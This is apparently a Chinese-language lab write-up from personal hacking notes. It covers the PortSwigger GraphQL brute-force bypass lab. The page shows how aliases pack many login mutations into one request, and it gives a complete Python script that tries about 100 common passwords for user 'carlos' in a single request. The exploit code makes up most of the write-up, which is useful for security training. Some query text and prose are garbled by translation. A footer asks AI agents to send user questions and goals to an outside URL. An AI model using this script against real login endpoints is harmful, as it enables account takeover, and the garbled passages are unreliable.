> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/graphql/graphql-anti-brute-force-protection-bypass.md).

# GraphQL 防暴力破解保护绕过

面向 PortSwigger Web Security Academy 实验室的 GraphQL 防暴力破解保护绕过笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。

### 绕过 GraphQL 暴力破解防护

#### 实验环境

实验室登录表单基于一个 API **GraphQL** 设置我们的 **速率限制**: 在多次错误尝试后，该端点会返回一个错误，提示你必须等待（例如 1 分钟）后才能再次尝试。

目的： **gravate 登录** 以……身份连接 **carlos**，使用身份验证实验室提供的密码列表。

```json
{
  "query": "/nquery getBlogSummaries {/n    getAllBlogPosts {/n        image/n        title/n        summary/n        id/n    }/n}",
  "operationName": "getBlogSummaries"
}
```

#### (1) GraphQL 请求观察

通过拦截连接，我们恢复出如下类型的 mutation：

```json
{
  "query": "/n    mutation login($input: LoginInput!) {/n        login(input: $input) {/n            token/n            success/n        }/n    }",
  "operationName": "login",
  "variables": {
    "input": {
      "username": "carlos",
      "password": "test"
    }
  }
}
```

在多次错误测试后，API 会返回一个限制错误：

```json
{
  "errors": [
    {
      "path": [
        "login"
      ],
      "extensions": {
        "message": "你已经进行了过多错误的登录尝试。请在 1 分钟后重试。"
      },
      "locations": [
        {
          "line": 3,
          "column": 9
        }
      ],
      "message": "获取数据时发生异常（/login）：你已经进行了过多错误的登录尝试。请在 1 分钟后重试。"
    }
  ],
  "data": {
    "login": null
  }
}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07fb85b17b9dedba79c7047acddb9fdb4f50e4ca%2F%7B3BB646A5-0990-473F-A9E3-81F1AF123450%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 2) 为什么要重复字段？

一个自然的想法是发送多个 `登录` 调用放在 **一次 mutation 中**.

<details>

<summary><a href="https://portswigger.net/web-security/authentication/auth-lab-passwords">身份验证实验室密码</a></summary>

123456/ password/ 12345678/ qwerty/ 123456789/ 12345/ 1234/ 111111/ 1234567/ dragon/ 123123/ baseball/ abc123/ football/ monkey/ letmein/ shadow/ master/ 666666/ qwertyuiop/ 123321/ mustang/ 1234567890/ michael/ 654321/ superman/ 1qaz2wsx/ 7777777/ 121212/ 000000/ qazwsx/ 123qwe/ killer/ trustno1/ jordan/ jennifer/ zxcvbnm/ asdfgh/ hunter/ buster/ soccer/ harley/ batman/ andrew/ tigger/ sunshine/ iloveyou/ 2000/ charlie/ robert/ thomas/ hockey/ ranger/ daniel/ starwars/ klaster/ 112233/ george/ computer/ michelle/ jessica/ pepper/ 1111/ zxcvbn/ 555555/ 11111111/ 131313/ freedom/ 777777/ pass/ maggie/ 159753/ aaaaaa/ ginger/ princess/ joshua/ cheese/ amanda/ summer/ love/ ashley/ nicole/ chelsea/ biteme/ matthew/ access/ yankees/ 987654321/ dallas/ austin/ thunder/ taylor/ matrix/ mobilemail/ mom/ monitor/ monitoring/ montana/ moon/ moscow

</details>

但如果我们不加区分地重复同一个字段，GraphQL 会拒绝，因为这些字段会变得歧义（同一层级下名称相同）。

```graphql
 mutation login($input: LoginInput!) {
        login(input: $input) {
            令牌
            success
        }
    }
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-97f6789bab57f195b1ae0ee4ef43cb828d7df391%2F%7B0F7BAFE4-E404-4570-9590-22D491E764F0%7D.png?alt=media" alt="" width="473"><figcaption></figcaption></figure>

无效示例（结构错误 / 字段冲突）：

```graphql
mutation login {
  login(input: { username: "carlos", password: "test" }) {
    令牌
    success
  }
}
```

```graphql
mutation{
  login(input: { username: "carlos", password: "test" }) {
    令牌
    success
  }
}
  login(input: { username: "carlos", password: "hack" }) {
    令牌
    success
  }
}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8ef1aeaab8abaae771890202fd8347744a639321%2F%7B9903BD87-1B69-48AB-BA8C-0092EDD967AD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 3) 规避：使用别名

GraphQL 可以通过以下方式为每个调用重命名： **别名**。/ 因此，你可以执行 **在一个 HTTP 请求中进行多次登录尝试**，从而降低速率限制的影响

有效示例：

```graphql
mutation login{
  loginTest: login(input: { username: "carlos", password: "test" }) {
    令牌
    success
  }

  loginHack: login(input: { username: "carlos", password: "hack" }) {
    令牌
    success
  }
}
```

因此，API 会在一个窗口内处理多次测试，以限制脾脏一侧。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3864c0779c02c50acee3fac1cc0bd233355c606e%2F%7B80211AF3-A149-4115-A626-E41A2B642C13%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 4) 自动化（脚本方法）

原理：

* 构建 `mutation login {... }`
* 按密码添加一行：
* `login{i}: login(input: { username: "carlos", password: "..." }) { token success }`
* 发送请求
* 浏览 `data.login{i}` 以查找 `success: true`

```python
import requests
import time

url = "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/graphql/v1"
headers = {
    "Content-Type": "application/json",
    "Cookie": "session=JS5JG4wreF5dGV62An3DXhBbLN1Z3Hch",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0",
    "Referer": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/login",
    "Origin": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net"
}

passwords = ["123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football", "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321", "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx", "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1", "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer", "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000", "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars", "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper", "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777", "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua", "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea", "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin", "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring", "montana", "moon", "moscow"]

def brute_force_all_at_once():
    print("[*] 正在创建包含所有密码的 GraphQL 查询...")

    query = "mutation login {/n"
    for i, pwd in enumerate(passwords):
        query += f'  login{i}: login(input: {{ username: "carlos", password: "{pwd}" }}) {{/n    token/n    success/n  }}/n'
    query += "}"

    print(f"[*] 查询长度：{len(query)} 字符")
    print(f"[*] 一次测试 {len(passwords)} 个密码...")

    payload = {"query": query}

    start_time = time.time()

    try:
        response = requests.post(url, json=payload, headers=headers, timeout=10)

        if response.status_code == 200:
            data = response.json()

            for i, pwd in enumerate(passwords):
                result = data.get("data", {}).get(f"login{i}")
                if result and result.get("success"):
                    print(f"/n[+] 成功！")
                    print(f"[+] 用户名：carlos")
                    print(f"[+] 密码：{pwd}")
                    print(f"[+] 令牌：{result.get('token')}")
                    print(f"[+] 时间：{time.time() - start_time:.2f} 秒")
                    return True
            else:
                print("[-] 密码不在列表中")
        else:
            print(f"[-] HTTP 错误：{response.status_code}")
            print(response.text[:200])

    except requests.exceptions.RequestException as e:
        print(f"[-] 请求失败：{e}")

    return False

if __name__ == "__main__":
    print("=" * 50)
    print("GraphQL 暴力破解攻击")
    print("使用别名绕过速率限制")
    print("=" * 50)

    if brute_force_all_at_once():
        print("/n[+] 攻击成功完成！")
    else:
        print("/n[-] 攻击失败")
```

找到的密码对应于 **carlos** 是：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82c6a35ee7a58a066f36721921e0fbbf670ddb9f%2Fimage%20(89).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/graphql/graphql-anti-brute-force-protection-bypass.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
